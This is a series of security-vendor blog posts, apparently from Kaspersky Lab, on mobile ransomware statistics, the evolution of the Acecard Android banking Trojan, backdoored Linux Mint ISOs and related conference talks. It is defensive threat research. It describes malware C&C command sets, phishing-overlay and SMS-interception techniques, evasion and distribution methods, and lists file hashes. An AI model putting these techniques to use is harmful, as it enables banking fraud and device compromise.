Country Number of attacked users 1 Russia 44951 2 Germany 15950 3 Kazakhstan 8374 4 US 5371 5 Ukraine 4250 6 UK 2878 7 Italy 1313 8 Spain 1062 9 Iran 866 10 India 757

Russia, Germany and Kazakhstan were the countries attacked most often by ransomware.

In Russia and Kazakhstan, the Trojan-Ransom.AndroidOS.Small family was most active, in particular the modification Trojan-Ransom.AndroidOS.Small.o, the most popular Trojan-Ransom program in 2015.

The Trojan-Ransom.AndroidOS.Pletor family also remained very popular in 2015. Interestingly, this first mobile encryptor Trojan was developed by the same group of cybercriminals as Trojan-Banker.AndroidOS.Acecard.

In Germany, Trojan-Ransom.AndroidOS.Fusob was the most actively distributed family.

Windows opened by the Fusob Trojan

The US came fourth in the ranking. The Trojan-Ransom.AndroidOS.Fusob family was especially popular in the country, although the Trojan-Ransom.AndroidOS.Svpeng family was also actively used.

This ranking depends to a large extent on the number of users in each country, so it is interesting to view a rating that shows the proportion of users attacked by Trojan-Ransom malware relative to all attacked users in the country.

TOP 10 countries attacked by Trojan-Ransom malware – share of users relative to all attacked users in the country.

Country % of all attacked users* 1 Kazakhstan 15.1 2 Germany 14.5 3 US 10.3 4 Canada 8.9 5 Netherlands 8.8 6 UK 8.3 7 Switzerland 6.9 8 Austria 6.4 9 Ukraine 5.9 10 Australia 5.5

* Percentage of users attacked by Trojan-Ransom malware, relative to all attacked users of Kaspersky Lab’s mobile security products in the country

Russia, which accounted for the largest number of attacked users, was not in the TOP 10. The leaders of the ranking were Kazakhstan, Germany and the US.

Conclusion

Despite the fact that the first advertising Trojans exploiting super-user privileges for their own purposes appeared a few years ago, in 2015 their number increased substantially and started spreading rapidly. In the first quarter of 2015 the most popular threats included just one Trojan of this type, but by the end of the year these programs accounted for more than half of the TOP 20. They are distributed using all available means – via other advertising programs, via app stores and can be even pre-installed in some devices. The number of advertising Trojans using super-user privileges will most likely continue to grow in 2016.

We have already seen cases when advertising Trojans were used to spread malicious mobile programs. There is every reason to believe that attackers will increasingly use these Trojans to infect mobile devices with malware.

We also came across cases where super-user privileges were utilized by other types of malware, especially ransomware.

Trojan-Ransom malware is likely to continue evolving in 2016. We expect the popularity of these programs among attackers to grow and their global reach to increase.

Another type of Trojan that we intend to continue monitoring closely in 2016 is Trojan-Banker. There are already lots of banking Trojans that do not require additional software on the victim’s computer. These Trojans operate independently, and only need to infect the user’s phone to steal his money. They are able to steal logins and passwords for mobile banking accounts by overlaying the legitimate banking app interfaces with a phishing window. The Trojans can also steal credit card data using phishing windows. In addition, they have functionality to intercept communications between a client and a bank – stealing incoming text messages and forwarding calls to the attacker. In 2016, banking Trojans will attack even more banking institutions and will use new distribution channels and new data theft technologies.

As the functionality of mobile devices and mobile services grows, the appetite of cybercriminals who profit from mobile malware will grow too. Malware authors will continue to improve their creations, develop new technologies and look for new ways of spreading mobile malware. Their main aim is to make money. In these circumstances, neglecting to protect your mobile devices is extremely risky.

The Evolution of Acecard

Mon, 02/22/2016 - 09:53

While working on the IT Threat Evolution report for Q3 2015, we discovered that Australia had become the leading country in terms of number of users attacked by mobile banker Trojans. We decided to find out what was behind this jump in activity and managed to identify the cause: Trojan-Banker.AndroidOS.Acecard. This family accounted for almost all the banker Trojan attacks in Australia.

After analyzing all the known malware modifications in this family, we established that they attack a large number of different applications. In particular, the targets include nine official social media apps that the Trojan attacks in order to steal passwords. Two other apps are targeted by the Trojan for their credit card details. But most interestingly, the list includes nearly 50 financial apps (client software for leading global payment systems and banks) and services, and the various modifications of Acecard make use of all the tools at their disposal to attack them – from stealing bank text messages to overlaying official app windows with phishing messages.

Here is another interesting fact that we established while investigating the Trojan: the modifications of Acecard were written by the same cybercriminals who earlier created Backdoor.AndroidOS.Torec.a, the first TOR Trojan for Android, as well as Trojan-Ransom.AndroidOS.Pletor.a, the first encryptor for mobile devices. All three Trojans run on Android.

How it all started

Given Acecard’s growing popularity and the rich criminal past of its creators, we decided to delve deeper into the history of this malware family.

It all started with Backdoor.AndroidOS.Torec.a. The first version of this malicious program was detected in February 2014 and could perform the following commands from the C&C server:

  • #intercept_sms_start – start intercepting incoming SMSs;
  • #intercept_sms_stop – stop intercepting incoming SMSs;
  • #ussd – create a USSD request;
  • #listen_sms_start – start stealing incoming SMSs;
  • #listen_sms_stop – stop stealing incoming SMSs;
  • #check – send information about the phone (phone number, country of residence, IMEI, model, OS version) to C&C;
  • #grab_apps – send a list of applications installed on the mobile device to the C&C;
  • #send_sms – send an SMS to numbers specified in the command;
  • #control_number – change the phone’s control number.

Then, in April 2014, a new version emerged with more capabilities. The additional commands were:

  • #check_gps – send the device’s coordinates to the C&C;
  • #block_numbers – add numbers to the SMS interception list;
  • #unblock_all_numbers – clear the SMS interception list;
  • #unblock_numbers – remove specified numbers from the SMS interception list;
  • #sentid – send an SMS with the Trojan’s ID to a specified number.

In late May 2014, we detected the first mobile encryptor, Trojan-Ransom.AndroidOS.Pletor.a. It encrypted files on the device and demanded a ransom for them to be decrypted. Some modifications of Pletor used TOR to communicate with the C&C.

A month later, we detected a new modification, Backdoor.AndroidOS.Torec. Unlike previous versions, it did not use TOR and targeted credit card details: the Trojan overlaid the official Google Play Store app with a phishing window that included data entry fields.

We assigned the verdict Trojan-Banker.AndroidOS.Acecard.a to this modification, and classified it as a separate family of malware. From that moment on, all new versions of the Trojan have been detected as belonging to the Acecard family.

An analysis and comparison of the code used in Backdoor.AndroidOS.Torec.a, Trojan-Ransom.AndroidOS.Pletor.a and Trojan-Banker.AndroidOS.Acecard.a has shown they were all written by the same cybercriminals. Here are some clear examples:

Code from the SmsProcessor class of the Trojan Backdoor.AndroidOS.Torec.a

Code from the SmsProcessor class of Trojan-Banker.AndroidOS.Acecard.a

Code from the SmsProcessor class of Trojan-Ransom.AndroidOS.Pletor.a

Here is another example:

Code from the SmsProcessor class of the Trojan Backdoor.AndroidOS.Torec.a

Code from the SmsProcessor class of Trojan-Banker.AndroidOS.Acecard.a

Code from the SmsProcessor class of Trojan-Ransom.AndroidOS.Pletor.a

A lot of the class, method and variable names are the same for all three Trojans. The code of the corresponding methods is either the same or very similar with only minor differences.

Acecard’s progress

The initial Trojan, Trojan-Banker.AndroidOS.Acecard.a, could only handle four commands sent from the C&C:

  • #intercept_sms_start – start intercepting incoming SMSs;
  • #intercept_sms_stop – stop intercepting incoming SMSs;
  • #send_sms – send an SMS to the number specified in the command;
  • #control_number – change the phone’s control number.

The next modification of Acecard was detected in late August 2014 and used the TOR network for C&C communication, just like the earlier Pletor. Besides that, we identified two more differences. Firstly, the list of supported commands had grown to 15; nearly all of these commands had been seen before in earlier versions of the Trojan Torec:

  • #intercept_sms_start – start intercepting incoming SMSs;
  • #intercept_sms_stop – stop intercepting incoming SMSs;
  • #ussd – create a USSD request;
  • #check_gps – send the device’s coordinates to the C&C;
  • #block_numbers – add numbers to the list of senders from which SMSs will be intercepted;
  • #unblock_all_numbers – clear the SMS interception list;
  • #unblock_numbers – remove specified numbers from the SMS interception list;
  • #listen_sms_start – start stealing incoming SMSs;
  • #listen_sms_stop – stop stealing incoming SMSs;
  • #check – send the Trojan’s ID to the C&C;
  • #grab_apps – send the list of applications installed on the mobile device to the C&C;
  • #send_sms – send an SMS to the number specified in the command;
  • #control_number – change the phone’s control number;
  • #sentid – send an SMS with the Trojan’s ID to a specified number;
  • #show_dialog – show a dialog window to the user with specific objects (data entry fields, buttons etc.) depending on the C&C command parameters.

The second difference was the number of phishing windows. Along with the official Google Play Store app, this Trojan now overlaid the display of the following apps with its own windows:

  • IM services: WhatsApp, Viber, Instagram, Skype;

  • The apps of the VKontakte, Odnoklassniki and Facebook social networks

  • The Gmail client

  • The official Twitter client

In the second half of October 2014, we detected the next modification of Acecard. It no longer used TOR (neither have any of the versions of the Trojan subsequently detected). However, there was another, more important difference: starting with this version of the Trojan, there have been dramatic changes in the geography of the targeted users. The earlier versions mostly attacked users in Russia, but starting in October 2014 the bulk of Acecard attacks targeted users in Australia, Germany and France. Russia accounted for just 10% of the attacked users. This trend continued for another four months, until February 2015, but even then Australia, Germany and France still remained among the most frequently attacked countries.

At the same time, the geography of Pletor attacks remained largely unchanged: most attacks targeted, and continue to target, users in Russia and the US. The TOP 5 most attacked countries also includes Ukraine, Belarus and Saudi Arabia.

A new modification of Acecard emerged in mid-November 2014. As well as stealing passwords from popular social network clients, it started to overlay the banking app of Australia’s most popular bank with a phishing window. Just two days later, we managed to detect another modification of this Trojan that was already attacking the apps of four Australian banks.

This functionality has persisted up to the very latest Trojan-Banker.AndroidOS.Acecard modifications that we detect.

This version of Acecard also checks the country code and the service provider code as it launches, and if it finds itself in Russia, it shuts down. This check is carried out in almost all subsequent modifications. Interestingly, similar changes to Trojan-Ransom.AndroidOS.Pletor only took place in late March 2015, and did not extend to all versions of the malware.

For the next nine months, there was practically no change in the functionality of the new Acecard modifications that emerged, until early August 2015 when we detected a new version that was capable of overlaying the PayPal mobile app with its own phishing window.

There was also a new command that this version could perform – #wipe. When this command is received, Acecard resets the mobile device to factory settings.

It should be noted that there has been a dramatic increase in Acecard developer activity since June 2015. Before, we typically identified 2-5 files a month related to this Trojan; since June we have detected around 20 files per month.

Number of Acecard files detected each month

The graph above shows the number of files associated with the banking Trojan Acecard that are detected each month; these include both the modifications of Acecard and related files, such as downloader Trojans. The dramatic rise in file numbers detected in November and especially December is down to the malware writers making active use of a commercial code obfuscator and the emergence of obfuscated versions of the Trojan.

Also at this time, there was an increase in the number of attacks using this malicious program.

The number of unique users attacked by Acecard per month

In the first half of September, we detected a new modification of Acecard. Its new capabilities included overlaying the windows of more mobile banking apps, including those of one Australian bank, four New Zealand banks and three German banks.

It means this modification of the Trojan is capable of overlaying 20 apps – including 13 banking apps – with a phishing window.

The subsequent development of Acecard’s “banking business” then got even faster:

  • The next modification emerged just several days later, and was capable of overlaying as many as 20 banking applications. The list of targeted apps grew to include another app belonging to an Australian bank, four apps for Hong Kong banks and three for Austrian banks.
  • In late September, a new modification came out with a new functionality: the malicious program included a list of bank phone numbers, so text messages arriving from those banks are redirected to the cybercriminal. The Trojan has a list of phrases, so it can compare incoming text messages and identify those with verification codes for bank operations or registration, and send just the code to the cybercriminal, rather than the full SMS. This version of Acecard intercepts SMSs from 17 Russian banks.
  • Early October saw the emergence of a new modification that attacked the banking apps of the three largest US banks. Interestingly, from the very start, the US has been among the TOP 10 countries most often attacked by this Trojan; however, December 2015 saw a dramatic rise in the number of attacks on US users. In that month, the US came third in terms of the number of unique users attacked by this malware.
  • In mid-October, a new modification appeared capable of overlaying as many as 24 financial applications, including apps belonging to five Australian banks, four Hong Kong banks, four Austrian banks, four New Zealand banks, three German banks, three Singapore banks, and the PayPal app.
  • A new modification was detected in early November that has a phishing window that targets an app belonging to a Spanish bank.

It should also be noted that virtually all versions of Acecard can handle a C&C command that orders the Trojan to overlay any specified app with its own window. Perhaps the cybercriminals thought this option was more promising, because many of the versions detected in November and December 2015 have a dedicated window that only overlays Google Play and Google Music apps to target credit card details. No other applications will be overlaid without first receiving the appropriate C&C command.

The most recent versions of the Acecard family can attack the client applications of more than 30 banks and payment systems. Considering that these Trojans are capable of overlaying any application upon command, the overall number of attacked financial applications may be much larger.

Although the Trojans belonging to this family can attack users from a long list of countries, most attacks target users in Russia, Australia, Germany, Austria and France.

Number of unique users attacked by country

In Germany and Australia, the Trojan-Banker.AndroidOS.Acecard family is the most widespread type of mobile banker Trojan targeting users.

Propagation

In many countries, Trojans belonging to the Acecard family are typically distributed with the names Flash Player or PornoVideo, although other names are sometimes used in a bid to imitate useful and popular software. This malware family also propagates with the help of downloader Trojans that are detected by Kaspersky Lab’s products as Trojan-Downloader.AndroidOS.Acecard.

We should note that on 28 December we were able to spot a version of the Acecard downloader Trojan – Trojan-Downloader.AndroidOS.Acecard.b – in the official Google Play Store.

A Trojan-Downloader.AndroidOS.Acecard.b page in Google Play Store

The Trojan propagates under the guise of a game, but in reality it has no useful functionality. The main goal of this malicious app is to download and install a fully functional modification of the banking Trojan Acecard. Its creators didn’t even bother to make it look like a legitimate application: when the malware is installed from Google Play, the user will only see an Adobe Flash Player icon on the desktop screen.

We have also been able to detect a new modification of the downloader Trojan, Trojan-Downloader.AndroidOS.Acecard.c. It differs in that the Trojan, once launched, uses vulnerabilities in the system to gain super-user rights. With these privileges – Trojan-Downloader.AndroidOS.Acecard.c can install the banking Trojan Acecard into the system folder, which makes it impossible to delete using standard tools. However, in most cases this propagation method is used to spread another Trojan that we are already familiar with – Trojan-Ransom.AndroidOS.Pletor.

The cybercriminals are using virtually every available method to propagate the banking Trojan Acecard, be it under the guise of another program, via official app stores, or via other Trojans. This combination of propagation methods, which includes the exploitation of vulnerabilities in the operating system, along with Acecard’s capabilities make this mobile banker one of the most dangerous threats to users.

MD5

58FED8B5B549BE7ECBFBC6C63B84A728
8D260AB2BB36AEAF5B033B80B6BC1E6A
CF872ACDC583FE80B8F54957E14355DF
FBBCCD640CE75BD618A7F3187EC1B742
01E8CEA7DF22B1B3CC560ACB049F8EA0
DDCE6CE143CCA26E59063E7A4BB89019
9D34FC3CFCFFEA760FC1ADD377AA626A
03DA636518CCAF432AB68B269F7E6CC3
05EBAA5C7FFA440455ECB3519F923B56
E3FD483AD3731DD62FBE027B4E6880E6
53888352A4A1E3CB810B2A3F51D0BFC2
E1C794A614D5F6AAC38E2AEB77B139DA
54332ED8EA9AED12400A75496972D7D7
5DB57F89A85F647EBBC5BAFBC29C801E
702770D70C7AAB793FFD6A107FD08DAD
CF25782CAC01837ABACBF31130CA4E75
07DF64C87EA74F388EF86226BC39EADF

Beware of Backdoored Linux Mint ISOs

Mon, 02/22/2016 - 05:00

Background

Yesterday a blog post on “The Linux Mint Blog” caught our attention. Apparently criminals managed to compromise a vulnerable instance of WordPress which the project used to run their website. The attackers modified download links pointing to backdoored ISO files of Linux Mint 17.3 Cinnamon edition. This “should only impact people who downloaded this edition on February 20th”, the author of the blog stated.

We managed to get our hands on the malware embedded in the ISO images. Let’s have a quick look.

Malware used

The criminals used a simple backdoor, which is controlled via an unencrypted IRC connection. We found five hardcoded C&C addresses. At the time of writing only one of them was available. We saw approx. 50 connected clients just in this channel called “#mint”:

The malware is capable of:

  • running several types of UDP and TCP flooding (used in DDoS attacks)
  • downloading arbitrary files to the victim’s machine
  • executing arbitrary commands on the machine

We’re detecting this type of malware as HEUR:Backdoor.Linux.Tsunami.bh.

According to user reports, the compromised ISO images come with the backdoor’s C-source code, located in /var/lib/man.cy, which is compiled on first startup to “apt-cache” and is then executed.

Activity

While monitoring the C&C channel, we saw the criminal sending several SMB-related commands like “smbtree -N” to the connected bots. Apparently the attacker tries to access SMB/CIFS shares available in the local network of the victims.

Conclusion

In order to detect this kind of attack, one should use PKI with strong cryptographic signatures to ensure the integrity of downloaded software.

Integrity-checks based on file hashes like MD5 or SHA256 are insecure if a project’s website is compromised, since the attacker could also adjust the checksums provided on the website.

Experts: what ATM jackpotting malware is

Mon, 02/15/2016 - 06:58

Kaspersky Lab security researchers Santiago Pontirol and Roberto Martinez explain how ATM malware works in Latin America and why it’s difficult to discover ‘jackpotting’ malware. Kaspersky Security Analyst Summit 2016 on Tenerife, Spain.

Expert: cross-platform Adwind RAT

Thu, 02/11/2016 - 05:12

Kaspersky Lab researcher Vitaly Kamluk gave a talk about the latest version of the cross-platform Adwind RAT. The remote access Trojan is unique in that it’s written in JavaScript, giving this version — which is also known as Frutas, AlienSpy and JSocket — the flexibility to be used liberally in cybercrime operations as well as in targeted attacks. From Kaspersky Security Analyst Summit 2016 on Tenerife, Spain.

More information:

  1. Adwind FAQ
  2. Full report PDF

Expert: How I hacked my hospital

Wed, 02/10/2016 - 07:28

Sergey Lozhkin, senior researcher at Kaspersky Lab’s GReAT gave a talk about several critical vulnerabilities he found in one hospital’s IT infrastructure. From Kaspersky Security Analyst Summit 2016 on Tenerife, Spain.